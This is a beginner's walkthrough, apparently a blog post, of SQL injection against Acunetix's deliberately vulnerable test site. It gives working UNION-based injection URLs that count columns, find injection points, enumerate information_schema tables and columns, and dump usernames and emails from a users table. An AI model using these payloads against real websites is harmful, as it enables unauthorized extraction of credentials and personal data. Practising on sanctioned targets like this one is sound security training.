SQL Injection Tutorial Walkthrough with acunetix.com


Absolute Beginners Guide to SQL Injection on Vulnerable Websites

Acunetix is a purposely vulnerable website that you can legally use to test and understand different methods of sql injections.
The site is purposely vulnerable and has a lot of data that can be extracted based on the request given to it..


1. Navigate to Website
Goto http://testphp.acunetix.com/listproducts.php?cat=1

We are presented with a website that has a list of product displayed on the right hand side.
Notice we have a 'cat' value of '1'
If we change the number from 1 to 2 the pages changes. So this tell us we can manually change items by incrementing the value.

2. Test for SQL Injection
We can easily test to see whether SQL injection is available in the most simplistic way by placing a ' sign (single quote) at the end of the request.
The response we get is in the form of an error that reads:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

 































This means that we have a high likely hood of SQL Injection in some way on this site.

3. Identify how many columns there are in the database
The first part of our testing is to identify how many columns there are in the database. We do this so that we can enumerate more information out of the database.

To do this we need to request the server to display the current page as well as the number of columns. We will keep asking the server to display the columns to us until eventually a column will not exist and we receive an error


 http://testphp.acunetix.com/listproducts.php?cat=1 ORDER BY 1

This displays now error message to the screen so therefore we must continue to the second column request

http://testphp.acunetix.com/listproducts.php?cat=1 ORDER BY 1,2

Again, no error message so we keep going..

http://testphp.acunetix.com/listproducts.php?cat=1 ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12

Right so when we get to '12' we get an error message. This tells us we have 11 columns.

Also worth noting that could also do this by doing each number separately until you got to 12. (this method I've shown is better however as you see in a minute)

http://testphp.acunetix.com/listproducts.php?cat=1 ORDER BY 11

Output:




It should also be noted that we have the full directory path of the listproducts.php file. This certainly is useful information as part of the information gathering / enumeration part of a Penetration Testing engagement.


4. Discover Injection Points

Now we know we have 11 columns in the database we can use this information to work out which of these columns is susceptible to SQL injection.

We do this by using the 'UNION SELECT' option. This is the most common method for understanding the injection points.

Enter the below into the URL:

http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,7,8,9,10,11

We stop at 11 as we know there are 11 columns in the database.
On initial inspection the site looks the same, the output to the screen is listing the products as expected.
But if we scroll down to the bottom of the page we found a strange looking entry that doesn't look like it should be on the page. 



Now the box shape looks the correct size as the other images but no image is displayed.
We also notice '7' '2' '9' written on the webpage. These numbers are visual indicators that the number is question is SQL injectable.

Therefore we can use 2,7,9 in our enumeration to find further information about the system.

5. Enumerate information

Now we know our injection points are 2,7 and 9, we can modify our SQL statement to see what information we can enumerate back.

See the cheat sheet for a full list here..

One of the first tests I would use is to find out the database version. We do this by modifying the state we created earlier in Step 4 and replacing either the 2,7 or 9 with in this case, @@version

http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,@@version,3,4,5,6,7,8,9,10,11

Notice the results on the page. Scroll down and look where the number two was before now says:

5.1.73-0ubuntu0.10.04.1






 So we can see that by using this method we can gather information about the system by executing SQL statements like this.
There will be times when this wont work and you receive an error. Remember that this is the most basic and easiest system (acunetix) have designed for us to test on.

 6. Alternative Enumeration Methods

 I will quickly cover this but essentially running through process of elimination to enumeration information is the name of the game with SQL Injection when you are first trying out.
Lets imagine that the @@version failed. we can also try the following..

hex(unhex(SQLHERE)
convert(SQLHERE using latin1)

Get used to injection points not working, if we try with @@version these on the acunetix site do not return any value.
Try using the following and see what response you get.


@@hostname
@@log
database()
version()
system_user()
table_name()

See a full list here ..


7. Enumerating Tables

The next step is to enumerate the tables. The table hold the listings for the columns (and within the columns is the raw data organized in rows.)


To do this we use the 'table_name' value and add 'from information_schema.tables' to the end of the query like so.

http://testphp.acunetix.com/listproducts.php?cat=1 -1 union all select 1,2,3,4,5,6,7,8,table_name,10,11 from information_schema.tables


 Notice this time the output has a large amount of data. I won't screen-shot it as you can see what i mean...

What we see are all tables, system tables and user tables together.

This is because we did not specify the database so we have seen all the system tables as well.

If we just wanted to see the user tables then we can also specify the database that we found earlier. We do this using the 'where' clause.


http://testphp.vulnweb.com/listproducts.php?cat=1 AND 1=1 UNION ALL SELECT 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema='acuart'

A snippet of the results is shown:




So we can see on the screen-shot we have 'products' and 'users' presented to the website, we also have the following, these are the tables within the database.
 Usually if we see a table with called 'users' this is worth further exploring as it might hold the user-names and passwords to access the database a login page on the site as well as a administrative level user..

A list of all the tables are shown..

artists
carts
categ
featured
guestbook
pictures
products
users

7. Enumerating Columns

Next we want view the columns within the tables, this will allow us to understand which columns we want to enumerate to gather the raw data from the rows.

We do this by using the information we found earlier and dumping out selected tables. We will look at the 'users' table for this example but you should enumerate all of them one by one for good measure and practice by repetition.


To do this we enter the following into the URL:

http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,7,8,column_name,10,11 from information_schema.columns where table_schema='acuart' and table_name='users'

Remember that table_schema = DATABASE value not the TABLE value.

table_schema = acuart      (the database for inspection)
table_name    = users        (the table for inspection)

So now we see the results for the columns within the table 'users' from the database 'acuart'


uname
pass
cc
address
email
name
phone
cart

8. Enumerating Column Data (raw data)

No we have the columns we want to look at specific column data to see what information is of use to us.

We do this by using the information we have found from the previous versions as using the 'group_concat' function.

We also want to all for our results to have a 'space' in between them so that the results are easier to read - we use '0x10a' to do this.


http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users


OK so this time we see the output of:

test email@email.com

This is the first result from row 1 - notice the space character between them must be explicitly specified.
This will dump every entry from each row to the screen. It happens that this column only has 1 row of data. 


We don't have to have a space character of course. you could use a ':' or a '*' or even two semicolons '::' - it's up to you what looks the easiest to read.

Check the cheat sheet for a full listing..

 9. Specifying more precise variables

If in the above example we want to only view the users table and not display all of the tables, we can use the 'LIMIT' function.

This is useful to not clog the screen up with tables that you're not interested in.

If we take the last example:
http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users

we can request only the 7th entry to be displayed on the website from the top counting downwards, we then use the limit function of 7 = (6+1) like so:

http://testphp.acunetix.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users LIMIT 6,1

No comments:

Post a Comment